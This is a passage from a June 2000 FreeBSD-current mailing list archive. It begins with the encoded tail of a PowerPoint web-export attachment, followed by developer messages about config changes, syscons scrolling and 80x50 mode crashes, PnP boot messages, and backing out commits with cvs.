by1jaGFyLXdyYXA6IDE7IG1zby1raW5zb2t1LW92ZXJmbG93OiAxDQp9DQouUUI0IHsNCglGT05U LUZBTUlMWTogIj04Mmw9ODJyID04Mm89ODNTPTgzVj04M2I9ODNOIjsgbXNvLWZhcmVhc3QtZm9u dC1mYW1pbHk6ID0NCiI9ODJsPTgyciA9ODJvPTgzUz04M1Y9ODNiPTgzTiI7IG1zby1oYW5zaS1m b250LWZhbWlseTogIlRpbWVzIE5ldyA9DQpSb21hbiI7IGxheW91dC1mbG93OiB2ZXJ0aWNhbDsg bXNvLWNoYXItd3JhcDogMTsgbXNvLWtpbnNva3Utb3ZlcmZsb3c6IDENCn0NCi5UYmwgew0KCUZP TlQtRkFNSUxZOiAiPTgybD04MnIgPTgybz04M1M9ODNWPTgzYj04M04iOyBtc28tZmFyZWFzdC1m b250LWZhbWlseTogPQ0KIj04Mmw9ODJyID04Mm89ODNTPTgzVj04M2I9ODNOIjsgbXNvLWhhbnNp LWZvbnQtZmFtaWx5OiAiVGltZXMgTmV3ID0NClJvbWFuIjsgbGF5b3V0LWZsb3c6IHZlcnRpY2Fs OyBtc28tY2hhci13cmFwOiAxOyBtc28ta2luc29rdS1vdmVyZmxvdzogMQ0KfQ0KLlRibDEgew0K CUZPTlQtRkFNSUxZOiAiPTgybD04MnIgPTgybz04M1M9ODNWPTgzYj04M04iOyBtc28tZmFyZWFz dC1mb250LWZhbWlseTogPQ0KIj04Mmw9ODJyID04Mm89ODNTPTgzVj04M2I9ODNOIjsgbXNvLWhh bnNpLWZvbnQtZmFtaWx5OiAiVGltZXMgTmV3ID0NClJvbWFuIjsgbGF5b3V0LWZsb3c6IHZlcnRp Y2FsOyBtc28tY2hhci13cmFwOiAxOyBtc28ta2luc29rdS1vdmVyZmxvdzogMQ0KfQ0KLlRibDIg ew0KCUZPTlQtRkFNSUxZOiAiPTgybD04MnIgPTgybz04M1M9ODNWPTgzYj04M04iOyBtc28tZmFy ZWFzdC1mb250LWZhbWlseTogPQ0KIj04Mmw9ODJyID04Mm89ODNTPTgzVj04M2I9ODNOIjsgbXNv LWhhbnNpLWZvbnQtZmFtaWx5OiAiVGltZXMgTmV3ID0NClJvbWFuIjsgbGF5b3V0LWZsb3c6IHZl cnRpY2FsOyBtc28tY2hhci13cmFwOiAxOyBtc28ta2luc29rdS1vdmVyZmxvdzogMQ0KfQ0KLlRi bDMgew0KCUZPTlQtRkFNSUxZOiAiPTgybD04MnIgPTgybz04M1M9ODNWPTgzYj04M04iOyBtc28t ZmFyZWFzdC1mb250LWZhbWlseTogPQ0KIj04Mmw9ODJyID04Mm89ODNTPTgzVj04M2I9ODNOIjsg bXNvLWhhbnNpLWZvbnQtZmFtaWx5OiAiVGltZXMgTmV3ID0NClJvbWFuIjsgbGF5b3V0LWZsb3c6 IHZlcnRpY2FsOyBtc28tY2hhci13cmFwOiAxOyBtc28ta2luc29rdS1vdmVyZmxvdzogMQ0KfQ0K LlRibDQgew0KCUZPTlQtRkFNSUxZOiAiPTgybD04MnIgPTgybz04M1M9ODNWPTgzYj04M04iOyBt c28tZmFyZWFzdC1mb250LWZhbWlseTogPQ0KIj04Mmw9ODJyID04Mm89ODNTPTgzVj04M2I9ODNO IjsgbXNvLWhhbnNpLWZvbnQtZmFtaWx5OiAiVGltZXMgTmV3ID0NClJvbWFuIjsgbGF5b3V0LWZs b3c6IHZlcnRpY2FsOyBtc28tY2hhci13cmFwOiAxOyBtc28ta2luc29rdS1vdmVyZmxvdzogMQ0K fQ0KLmRlZmF1bHRCIHsNCgltc28tc3BlY2lhbC1mb3JtYXQ6IG5vYnVsbGV0XDIwMjINCn0NCi5k ZWZhdWx0IHsNCglDT0xPUjogYmxhY2s7IERJUkVDVElPTjogbHRyOyBGT05ULUZBTUlMWTogIj04 Mmw9ODJyID0NCj04Mm89ODNTPTgzVj04M2I9ODNOIjsgRk9OVC1TSVpFOiAxMjAlOyBGT05ULVNU WUxFOiBub3JtYWw7IEZPTlQtV0VJR0hUOiA9DQpub3JtYWw7IFRFWFQtQUxJR046IGxlZnQ7IFRF WFQtREVDT1JBVElPTjogbm9uZTsgPQ0KbXNvLWZhcmVhc3QtZm9udC1mYW1pbHk6ICI9ODJsPTgy ciA9ODJvPTgzUz04M1Y9ODNiPTgzTiI7ID0NCm1zby1oYW5zaS1mb250LWZhbWlseTogIlRpbWVz IE5ldyBSb21hbiI7IGxheW91dC1mbG93OiB2ZXJ0aWNhbDsgPQ0KbXNvLWNvbG9yLWluZGV4OiAx OyBtc28tY2hhci13cmFwOiAxOyBtc28ta2luc29rdS1vdmVyZmxvdzogMTsgPQ0KbXNvLWFzY2lp LWZvbnQtZmFtaWx5OiAiVGltZXMgTmV3IFJvbWFuIjsgdGV4dC1zaGFkb3c6IG5vbmU7ID0NCnRl eHQtZWZmZWN0OiBub25lOyBtc28tZmFyZWFzdC1oaW50OiBubzsgbXNvLXRleHQtcmFpc2U6IDAl OyA9DQptc28tbGluZS1zcGFjaW5nOiAiMTAwIDAgMCI7IG1zby1tYXJnaW4tbGVmdC1hbHQ6IDA7 ID0NCm1zby10ZXh0LWluZGVudC1hbHQ6IDA7IG1zby13b3JkLXdyYXA6IDE7IG1zby12ZXJ0aWNh bC1hbGlnbi1zcGVjaWFsOiA9DQpiYXNlbGluZTsgbXNvLWZhcmVhc3QtbGFuZ3VhZ2U6IEpBOyBt c28tYW5zaS1sYW5ndWFnZTogRU4tVVMNCn0NCkE6bGluayB7DQoJQ09MT1I6ICNjY2NjZmYhIGlt cG9ydGFudA0KfQ0KQTphY3RpdmUgew0KCUNPTE9SOiAjMzMzM2NjISBpbXBvcnRhbnQNCn0NCkE6 dmlzaXRlZCB7DQoJQ09MT1I6ICNiMmIyYjIhIGltcG9ydGFudA0KfQ0KDQotLS0tLS09X05leHRQ YXJ0XzAwMF8wMDAwXzAxQkZENTg3LkRCRDE2RTIwDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9u L29jdGV0LXN0cmVhbQ0KQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogcXVvdGVkLXByaW50YWJs ZQ0KQ29udGVudC1Mb2NhdGlvbjogPT9pc28tMjAyMi1qcD9CP1ptbHNaVG92THk5RE9pOVhTVTVF VDFkVEx4c2tRaVZISlRrbEx5VklHeWhDPz0NCgk9P2lzby0yMDIyLWpwP0I/R3lSQ0pVTWxWeHNv UWk4YkpFSStjRXB6R3loQ0x4c2tRajV3U25NYktFSXVZMjl0TG1acD89DQoJPT9pc28tMjAyMi1q cD9CP2JHVnpMM05qY21sd2RDNXFjdz09Pz0NCg0KDQpmdW5jdGlvbiBMb2FkU2xkKCBzbGlkZUlk ICkNCnsNCglpZiggIWdfc3VwcG9ydHNQUFRIVE1MICkgcmV0dXJuDQoJaWYoIHNsaWRlSWQgKQ0K CQlwYXJlbnQuU2xkVXBkYXRlZChzbGlkZUlkKQ0KCWdfb3JpZ1N6PTNEcGFyc2VJbnQoU2xpZGVP Ymouc3R5bGUuZm9udFNpemUpDQoJZ19vcmlnSD0zRFNsaWRlT2JqLnN0eWxlLnBvc0hlaWdodA0K CWdfb3JpZ1c9M0RTbGlkZU9iai5zdHlsZS5wb3NXaWR0aA0KCWdfc2NhbGVIeXBlcmxpbmtzPTNE KGRvY3VtZW50LmFsbC50YWdzKCJBUkVBIikubGVuZ3RoPjApDQoJaWYoIGdfc2NhbGVIeXBlcmxp bmtzICkNCgkJSW5pdEhMaW5rQXJyYXkoKQ0KCWlmKCBnX3NjYWxlSW5GcmFtZXx8KElzV2luKCJQ UFRTbGQiKSAmJiBwYXJlbnQuSXNGdWxsU2NyTW9kZSgpICkgKQ0KCQlkb2N1bWVudC5ib2R5LnNj cm9sbD0zRCJubyINCglfUlNXKCkNCglpZiggSXNXaW4oIlBQVFNsZCIpICYmIHBhcmVudC5Jc0Z1 bGxTY3JNb2RlKCkgKQl7DQoJCWRvY3VtZW50Lm9uY29udGV4dG1lbnU9M0RwYXJlbnQuX0NNOw0K CQlzZWxmLmZvY3VzKCkNCgl9DQp9DQpmdW5jdGlvbiBNYWtlU2xkVmlzKCBmVHJhbnMgKT0yMA0K ew0KCWZUcmFucz0zRGZUcmFucyAmJiBnX3Nob3dBbmltYXRpb24NCglpZiggZlRyYW5zICkNCgl7 DQoJCWlmKCBnX2JnU291bmQgKSB7DQoJCQlpZHg9M0RnX2JnU291bmQuaW5kZXhPZigiLCIpOw0K CQkJcHB0U291bmQuc3JjPTNEZ19iZ1NvdW5kLnN1YnN0ciggMCwgaWR4ICk7DQoJCQlwcHRTb3Vu ZC5sb29wPTNEIC0ocGFyc2VJbnQoZ19iZ1NvdW5kLnN1YnN0cihpZHgrMSkpKTsNCgkJfQ0KCQlT bGlkZU9iai5maWx0ZXJzLnJldmVhbHRyYW5zLkFwcGx5KCkNCgl9DQoJU2xpZGVPYmouc3R5bGUu dmlzaWJpbGl0eT0zRCJ2aXNpYmxlIg0KCWlmKCBmVHJhbnMgKQ0KCQlTbGlkZU9iai5maWx0ZXJz LnJldmVhbHRyYW5zLlBsYXkoKQ0KfQ0KZnVuY3Rpb24gTWFrZU5vdGVzVmlzKCk9MjANCnsNCglp ZiggIUlzTnRzKCkgKSByZXR1cm4gZmFsc2U9MjANCglTbGlkZU9iai5zdHlsZS5kaXNwbGF5PTNE Im5vbmUiDQoJbk9iaiA9M0QgZG9jdW1lbnQuYWxsLml0ZW0oIk5vdGVzT2JqIikNCglwYXJlbnQu U2V0SGFzTnRzKDApDQoJaWYoIG5PYmogKSB7PTIwDQoJCW5PYmouc3R5bGUuZGlzcGxheT0zRCIi DQoJCXBhcmVudC5TZXRIYXNOdHMoMSkNCgl9DQoJcmV0dXJuIDENCn0NCmZ1bmN0aW9uIFJlZGly ZWN0KCBmcm1JZCxzSWQgKQ0Kew0KCXZhciBzdHI9M0Rkb2N1bWVudC5sb2NhdGlvbi5oYXNoLGlk eD0zRHN0ci5pbmRleE9mKCcjJykNCglpZihpZHg+PTNEMCkgc3RyPTNEc3RyLnN1YnN0cigxKTsN CglpZiggd2luZG93Lm5hbWUgIT0zRCBmcm1JZCAmJiAoIHNJZCAhPTNEIHN0cikgKSB7DQoJCW9i aiA9M0QgZG9jdW1lbnQuYWxsLml0ZW0oIk1haW4tRmlsZSIpDQoJCXdpbmRvdy5sb2NhdGlvbi5o cmVmPTNEb2JqLmhyZWYrIiMiK3NJZA0KCQlyZXR1cm4gMQ0KCX0NCglyZXR1cm4gMA0KfQ0KZnVu Y3Rpb24gSGlkZU1lbnUoKSB7IGlmKCBmcmFtZXNbIlBQVFNsZCJdICYmID0NClBQVFNsZC5kb2N1 bWVudC5hbGwuaXRlbSgiY3R4dG1lbnUiKSAmJiA9DQpQUFRTbGQuY3R4dG1lbnUuc3R5bGUuZGlz cGxheSE9M0Qibm9uZSIgKSB7ID0NClBQVFNsZC5jdHh0bWVudS5zdHlsZS5kaXNwbGF5PTNEJ25v bmUnOyByZXR1cm4gdHJ1ZSB9IHJldHVybiBmYWxzZSB9DQpmdW5jdGlvbiBJc1dpbiggbmFtZSAp IHsgcmV0dXJuIHdpbmRvdy5uYW1lID0zRD0zRCBuYW1lIH0NCmZ1bmN0aW9uIElzTnRzKCkgeyBy ZXR1cm4gSXNXaW4oIlBQVE50cyIpIH0NCmZ1bmN0aW9uIElzU2xkT3JOdHMoKSB7IHJldHVybigg SXNXaW4oIlBQVFNsZCIpfHxJc1dpbigiUFBUTnRzIikgKSB9DQpmdW5jdGlvbiBTdXBwb3J0c1BQ VEFuaW1hdGlvbigpIHsgcmV0dXJuKCBuYXZpZ2F0b3IucGxhdGZvcm0gPTNEPTNEID0NCiJXaW4z MiIgJiYgbmF2aWdhdG9yLmFwcFZlcnNpb24uaW5kZXhPZigiV2luZG93cyIpPjAgKSB9DQpmdW5j dGlvbiBTdXBwb3J0c1BQVEhUTUwoKQ0Kew0KCXZhciBhcHBWZXI9M0RuYXZpZ2F0b3IuYXBwVmVy c2lvbiwgbXNpZT0zRGFwcFZlci5pbmRleE9mKCJNU0lFICIpLCA9DQp2ZXI9M0QwDQoJaWYoIG1z aWUgPj0zRCAwICkNCgkJdmVyPTNEcGFyc2VGbG9hdCggYXBwVmVyLnN1YnN0cmluZyggbXNpZSs1 LCBhcHBWZXIuaW5kZXhPZigiOyIsbXNpZSkgKSA9DQopDQoJZWxzZQ0KCQl2ZXI9M0RwYXJzZUlu dChhcHBWZXIpDQoNCglyZXR1cm4oIHZlciA+PTNEIDQgJiYgbXNpZSA+PTNEIDAgKQ0KfQ0KdmFy IE1IVE1MUHJlZml4ID0zRCBDYWxjdWxhdGVNSFRNTFByZWZpeCgpOz0yMA0KZnVuY3Rpb24gQ2Fs Y3VsYXRlTUhUTUxQcmVmaXgoKQ0Kew0KCWlmICggZG9jdW1lbnQubG9jYXRpb24ucHJvdG9jb2wg PTNEPTNEICdtaHRtbDonKSB7PTIwDQoJCWhyZWY9M0RuZXcgU3RyaW5nKGRvY3VtZW50LmxvY2F0 aW9uLmhyZWYpPTIwDQoJCVN0YXJ0PTNEaHJlZi5pbmRleE9mKCchJykrMT0yMA0KCQlFbmQ9M0Ro cmVmLmxhc3RJbmRleE9mKCcvJykrMT0yMA0KCQlpZiAoRW5kIDwgU3RhcnQpPTIwDQoJCQlyZXR1 cm4gaHJlZi5zdWJzdHJpbmcoMCwgU3RhcnQpPTIwDQoJCWVsc2U9MjANCgkJcmV0dXJuIGhyZWYu c3Vic3RyaW5nKDAsIEVuZCk9MjANCgl9DQoJcmV0dXJuICcnOw0KfQ0KDQpmdW5jdGlvbiBfUlNX KCkNCnsNCglpZiggIWdfc3VwcG9ydHNQUFRIVE1MIHx8IElzTnRzKCkgfHwNCgkgICggIWdfc2Nh bGVJbkZyYW1lICYmICgoIHdpbmRvdy5uYW1lICE9M0QgIlBQVFNsZCIgKSB8fCA9DQohcGFyZW50 LklzRnVsbFNjck1vZGUoKSkgKSApDQoJCXJldHVybg0KDQoJY2x0V2lkdGg9M0Rkb2N1bWVudC5i b2R5LmNsaWVudFdpZHRoDQoJY2x0SGVpZ2h0PTNEZG9jdW1lbnQuYm9keS5jbGllbnRIZWlnaHQN CglmYWN0b3I9M0QoMS4wKmNsdFdpZHRoKS9nX29yaWdXDQoJaWYoIGNsdEhlaWdodCA8IGdfb3Jp Z0gqZmFjdG9yICkNCgkJZmFjdG9yPTNEKDEuMCpjbHRIZWlnaHQpL2dfb3JpZ0gNCg0KCW5ld1Np emUgPTNEIGdfb3JpZ1N6ICogZmFjdG9yDQoJaWYoIG5ld1NpemUgPCAxICkgbmV3U2l6ZT0zRDEN Cg0KCXM9M0RTbGlkZU9iai5zdHlsZQ0KCXMuZm9udFNpemU9M0RuZXdTaXplKyJweCINCglzLnBv c1dpZHRoPTNEZ19vcmlnVypmYWN0b3INCglzLnBvc0hlaWdodD0zRGdfb3JpZ0gqZmFjdG9yDQoJ cy5wb3NMZWZ0PTNEKGNsdFdpZHRoLXMucG9zV2lkdGgpLzINCglzLnBvc1RvcD0zRChjbHRIZWln aHQtcy5wb3NIZWlnaHQpLzINCg0KCWlmKCBnX3NjYWxlSHlwZXJsaW5rcyApDQoJCVNjYWxlSHlw ZXJsaW5rcyggZmFjdG9yICkNCn0NCg0KDQp2YXIgZ19zdXBwb3J0c1BQVEhUTUwgPTNEIFN1cHBv cnRzUFBUSFRNTCgpLCBnX3NjYWxlSW5GcmFtZSA9M0QgdHJ1ZSwgPQ0KZ0lkPTNEIiIsIGdfYmdT b3VuZD0zRCIiLA0KICAgIGdfc2NhbGVIeXBlcmxpbmtzID0zRCBmYWxzZSwgZ19hbGxvd0Fkdk9u Q2xpY2sgPTNEIHRydWUsID0NCmdfc2hvd0luQnJvd3NlciA9M0QgZmFsc2U7DQp2YXIgZ19zaG93 QW5pbWF0aW9uID0zRCBnX3N1cHBvcnRzUFBUSFRNTCAmJiBTdXBwb3J0c1BQVEFuaW1hdGlvbigp ICYmID0NCmdfc2hvd0luQnJvd3NlcjsNCnZhciBnX2hhc1RyYW5zID0zRCBmYWxzZSwgZ19hdXRv VHJhbnMgPTNEIGZhbHNlLCBnX3RyYW5zU2VjcyA9M0QgMDsNCnZhciBnX2FuaW1NYW5hZ2VyID0z RCBudWxsOw0KDQotLS0tLS09X05leHRQYXJ0XzAwMF8wMDAwXzAxQkZENTg3LkRCRDE2RTIwLS0N Cg== -----------------------------7d02daa390-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 6:50:38 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail2.netcologne.de (mail2.netcologne.de [194.8.194.103]) by hub.freebsd.org (Postfix) with ESMTP id 3743137B581 for ; Thu, 15 Jun 2000 06:50:33 -0700 (PDT) (envelope-from van.woerkom@netcologne.de) Received: from oranje.my.domain (dial-195-14-251-7.netcologne.de [195.14.251.7]) by mail2.netcologne.de (8.9.3/8.9.3) with ESMTP id PAA05869; Thu, 15 Jun 2000 15:50:31 +0200 (MET DST) Received: (from marc@localhost) by oranje.my.domain (8.9.3/8.9.3) id PAA00675; Thu, 15 Jun 2000 15:49:38 +0200 (CEST) (envelope-from van.woerkom@netcologne.de) Date: Thu, 15 Jun 2000 15:49:38 +0200 (CEST) Message-Id: <200006151349.PAA00675@oranje.my.domain> X-Authentication-Warning: oranje.my.domain: marc set sender to van.woerkom@netcologne.de using -f From: Marc van Woerkom To: van.woerkom@netcologne.de Cc: current@FreeBSD.ORG In-reply-to: <200006151029.MAA09551@oranje.my.domain> (message from Marc van Woerkom on Thu, 15 Jun 2000 12:29:59 +0200 (CEST)) Subject: Re: HEADS UP!: config changes... Reply-To: van.woerkom@netcologne.de References: <20000613231829.2F4BF1CD7@overcee.netplex.com.au> <200006151029.MAA09551@oranje.my.domain> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Another way to reboot the system is vidcontrol 80x50 Regards, Marc To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 7: 9:11 2000 Delivered-To: freebsd-current@freebsd.org Received: from mout0.freenet.de (mout0.freenet.de [194.97.50.131]) by hub.freebsd.org (Postfix) with ESMTP id 2E81937B824 for ; Thu, 15 Jun 2000 07:09:07 -0700 (PDT) (envelope-from netchild@leidinger.net) Received: from [194.97.50.138] (helo=mx0.freenet.de) by mout0.freenet.de with esmtp (Exim 3.14 #3) id 132aKO-0007Tb-00; Thu, 15 Jun 2000 16:09:04 +0200 Received: from [213.6.58.231] (helo=Magelan.Leidinger.net) by mx0.freenet.de with esmtp (Exim 3.14 #3) id 132aKK-0002zi-00; Thu, 15 Jun 2000 16:09:02 +0200 Received: from Leidinger.net (netchild@localhost [127.0.0.1]) by Magelan.Leidinger.net (8.9.3/8.9.3) with ESMTP id PAA00491; Thu, 15 Jun 2000 15:38:50 +0200 (CEST) (envelope-from netchild@Leidinger.net) Message-Id: <200006151338.PAA00491@Magelan.Leidinger.net> Date: Thu, 15 Jun 2000 15:38:49 +0200 (CEST) From: Alexander Leidinger Subject: Re: syscons scrolling broken To: alex@big.endian.de Cc: current@FreeBSD.ORG In-Reply-To: <20000614230801.B471@cichlids.cichlids.com> MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 14 Jun, Alexander Langer wrote: > it does not. It seems, as if screen output is still being deactivated, > but scrolling does just not work. > > Anyone else? Yes, but it only applies to ttyv0. Bye, Alexander. -- The best things in life are free, but the expensive ones are still worth a look. http://www.Leidinger.net Alexander+Home @ Leidinger.net GPG fingerprint = 7423 F3E6 3A7E B334 A9CC B10A 1F5F 130A A638 6E7E To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 7: 9:24 2000 Delivered-To: freebsd-current@freebsd.org Received: from mout1.freenet.de (mout1.freenet.de [194.97.50.132]) by hub.freebsd.org (Postfix) with ESMTP id 46BD637B824 for ; Thu, 15 Jun 2000 07:09:20 -0700 (PDT) (envelope-from netchild@leidinger.net) Received: from [194.97.50.138] (helo=mx0.freenet.de) by mout1.freenet.de with esmtp (Exim 3.14 #3) id 132aKc-0006CX-00; Thu, 15 Jun 2000 16:09:18 +0200 Received: from [213.6.58.231] (helo=Magelan.Leidinger.net) by mx0.freenet.de with esmtp (Exim 3.14 #3) id 132aKY-0002zi-00; Thu, 15 Jun 2000 16:09:16 +0200 Received: from Leidinger.net (netchild@localhost [127.0.0.1]) by Magelan.Leidinger.net (8.9.3/8.9.3) with ESMTP id PAA00501; Thu, 15 Jun 2000 15:43:18 +0200 (CEST) (envelope-from netchild@Leidinger.net) Message-Id: <200006151343.PAA00501@Magelan.Leidinger.net> Date: Thu, 15 Jun 2000 15:43:17 +0200 (CEST) From: Alexander Leidinger Subject: Re: syscons rebooting when going to 80x50 To: bright@wintelcom.net Cc: current@FreeBSD.ORG In-Reply-To: <20000614165551.F18462@fw.wintelcom.net> MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 14 Jun, Alfred Perlstein wrote: > After taking the patches for config and booting my box reboots > because I have: > > #allscreens_flags="-m on 80x50" > #saver="logo" > #font8x8="cp437-8x8" > #font8x14="cp437-8x14" > #font8x16="cp437-8x16" > > enabled in my rc.conf, a kernel from ~2 days ago is fine with this. Remove allscreens_flags, the other options should work. /etc/rc.conf:font8x8="iso-8x8" /etc/rc.conf:font8x14="iso-8x14" /etc/rc.conf:font8x16="iso-8x16" /etc/rc.conf:saver="green" /etc/rc.conf.local:#allscreens_flags="132x60" With allscrrens_flags it hangs while trying to switch the mode on ttyv0, switching the mode for ttyv1 works here. Bye, Alexander. -- Loose bits sink chips. http://www.Leidinger.net Alexander+Home @ Leidinger.net GPG fingerprint = 7423 F3E6 3A7E B334 A9CC B10A 1F5F 130A A638 6E7E To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 7: 9:44 2000 Delivered-To: freebsd-current@freebsd.org Received: from mout1.freenet.de (mout1.freenet.de [194.97.50.132]) by hub.freebsd.org (Postfix) with ESMTP id DC97A37B824 for ; Thu, 15 Jun 2000 07:09:33 -0700 (PDT) (envelope-from netchild@leidinger.net) Received: from [194.97.50.138] (helo=mx0.freenet.de) by mout1.freenet.de with esmtp (Exim 3.14 #3) id 132aKq-0006DU-00; Thu, 15 Jun 2000 16:09:32 +0200 Received: from [213.6.58.231] (helo=Magelan.Leidinger.net) by mx0.freenet.de with esmtp (Exim 3.14 #3) id 132aKm-0002zi-00; Thu, 15 Jun 2000 16:09:30 +0200 Received: from Leidinger.net (netchild@localhost [127.0.0.1]) by Magelan.Leidinger.net (8.9.3/8.9.3) with ESMTP id PAA01674; Thu, 15 Jun 2000 15:16:58 +0200 (CEST) (envelope-from netchild@Leidinger.net) Message-Id: <200006151316.PAA01674@Magelan.Leidinger.net> Date: Thu, 15 Jun 2000 15:16:57 +0200 (CEST) From: Alexander Leidinger Subject: Re: HEADS UP!: config changes... To: van.woerkom@netcologne.de Cc: current@FreeBSD.ORG In-Reply-To: <200006151029.MAA09551@oranje.my.domain> MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 15 Jun, Marc van Woerkom wrote: > 3. in the boot loader I miss the list of commands, > ? (i hope this was the command) just yields a number I also see this. > 5. Here are the dmesg differences between the February and the new > kernel. Could you explain the unassigned resources messages > to me? [...] > +unknown: can't assign resources > +unknown: can't assign resources > +unknown0: at port 0x40-0x43 irq 0 on isa0 > +unknown1: at port 0x70-0x71 irq 8 on isa0 > +unknown: can't assign resources > +unknown2: at port 0x61 on isa0 > +npxisa0: at port 0xf0-0xff irq 13 on isa0 > +unknown3: at iomem 0xe0000-0xfffff,0-0x9ffff,0x20000000-0x203fffff,0xffee0000-0xffefffff,0xfffe0000-0xffffffff,0x100000-0xbffffff on isa0 > +unknown4: at port 0x4d0-0x4d1,0xcf8-0xcff,0x480-0x48f on isa0 > +unknown5: at port 0x6100-0x613f on isa0 > +unknown: can't assign resources > +unknown: can't assign resources > +unknown: can't assign resources These are because "option PNPBIOS"(sp?) is now the default. Don't worry about them (or have a look into the archives). They are harmless. Bye, Alexander. -- Speak softly and carry a cellular phone. http://www.Leidinger.net Alexander+Home @ Leidinger.net GPG fingerprint = 7423 F3E6 3A7E B334 A9CC B10A 1F5F 130A A638 6E7E To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 7:10: 2 2000 Delivered-To: freebsd-current@freebsd.org Received: from turtle.looksharp.net (cc360882-a.strhg1.mi.home.com [24.2.221.22]) by hub.freebsd.org (Postfix) with ESMTP id 318B537C39B for ; Thu, 15 Jun 2000 07:09:56 -0700 (PDT) (envelope-from bandix@looksharp.net) Received: from localhost (bandix@localhost) by turtle.looksharp.net (8.9.3/8.9.3) with ESMTP id KAA64160 for ; Thu, 15 Jun 2000 10:10:49 -0400 (EDT) (envelope-from bandix@looksharp.net) Date: Thu, 15 Jun 2000 10:10:49 -0400 (EDT) From: "Brandon D. Valentine" To: FreeBSD-CURRENT Subject: Re: xmms broken by either libc_r or sound In-Reply-To: <20000614232621.B12512@dan.emsphone.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 14 Jun 2000, Dan Nelson wrote: >In the last episode (Jun 14), Otter said: >> On Wed, 14 Jun 2000, Chris Piazza wrote: >> > Yes backout recent changes to sys/dev/sound/pcm/channel.c. (a few >> > days) >> >> How does one backout changes? I thought once it was committed, and >> the make world process is complete, it was just that: committed. > >You make another commit, undoing what your first commit did. That way >there is a record of what you did, and hopefully why it was backed out. >For more info: > >info -n "(cvs)Merging two revisions" I honestly don't think his question was from a committers standpoint. I think he wanted to know how to back them out locally for his own system. To do that he needs to read the handbook entries for staying current with FreeBSD, specifically the stuff on anoncvs. Then to back them out he needs to use cvs to retrieve an older revision of the affected files via anoncvs and make a new world. Brandon D. Valentine -- "You should believe in death, taxes, Larry Ellison's loathing of Bill Gates and Intel's inability to ship a working chipset." - Dr Spinola, The Register, 05/13/2000 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 7:10: 9 2000 Delivered-To: freebsd-current@freebsd.org Received: from mout1.freenet.de (mout1.freenet.de [194.97.50.132]) by hub.freebsd.org (Postfix) with ESMTP id 05F9E37B824; Thu, 15 Jun 2000 07:10:01 -0700 (PDT) (envelope-from netchild@leidinger.net) Received: from [194.97.50.138] (helo=mx0.freenet.de) by mout1.freenet.de with esmtp (Exim 3.14 #3) id 132aLC-0006Ej-00; Thu, 15 Jun 2000 16:09:54 +0200 Received: from [213.6.58.231] (helo=Magelan.Leidinger.net) by mx0.freenet.de with esmtp (Exim 3.14 #3) id 132aL8-0002zi-00; Thu, 15 Jun 2000 16:09:52 +0200 Received: from Leidinger.net (netchild@localhost [127.0.0.1]) by Magelan.Leidinger.net (8.9.3/8.9.3) with ESMTP id PAA01668; Thu, 15 Jun 2000 15:14:23 +0200 (CEST) (envelope-from netchild@Leidinger.net) Message-Id: <200006151314.PAA01668@Magelan.Leidinger.net> Date: Thu, 15 Jun 2000 15:14:22 +0200 (CEST) From: Alexander Leidinger Subject: Re: HEADS UP!: config changes... To: sobomax@FreeBSD.ORG Cc: alex@big.endian.de, peter@netplex.com.au, current@FreeBSD.ORG In-Reply-To: <3948B15C.5C529FD5@FreeBSD.org> MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 15 Jun, Maxim Sobolev wrote: >> c) is much more interesting: With the new kernel my syscons scrolling >> stopped working. However, this could also be jake's fault, I'll ask >> him. > > Still works like a charm here. Maybe problem is elsewhere? I have the same problem as Alexander, nut it only applies to ttyv0. cvsup around 14. 11:10 CET. Bye, Alexander. -- I believe the technical term is "Oops!" http://www.Leidinger.net Alexander+Home @ Leidinger.net GPG fingerprint = 7423 F3E6 3A7E B334 A9CC B10A 1F5F 130A A638 6E7E To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 7:26:32 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail2.netcologne.de (mail2.netcologne.de [194.8.194.103]) by hub.freebsd.org (Postfix) with ESMTP id F11D837B6EC for ; Thu, 15 Jun 2000 07:26:27 -0700 (PDT) (envelope-from van.woerkom@netcologne.de) Received: from oranje.my.domain (dial-195-14-251-7.netcologne.de [195.14.251.7]) by mail2.netcologne.de (8.9.3/8.9.3) with ESMTP id QAA11410; Thu, 15 Jun 2000 16:26:25 +0200 (MET DST) Received: (from marc@localhost) by oranje.my.domain (8.9.3/8.9.3) id QAA00932; Thu, 15 Jun 2000 16:25:34 +0200 (CEST) (envelope-from van.woerkom@netcologne.de) Date: Thu, 15 Jun 2000 16:25:34 +0200 (CEST) Message-Id: <200006151425.QAA00932@oranje.my.domain> X-Authentication-Warning: oranje.my.domain: marc set sender to van.woerkom@netcologne.de using -f From: Marc van Woerkom To: van.woerkom@netcologne.de Cc: current@FreeBSD.ORG In-reply-to: 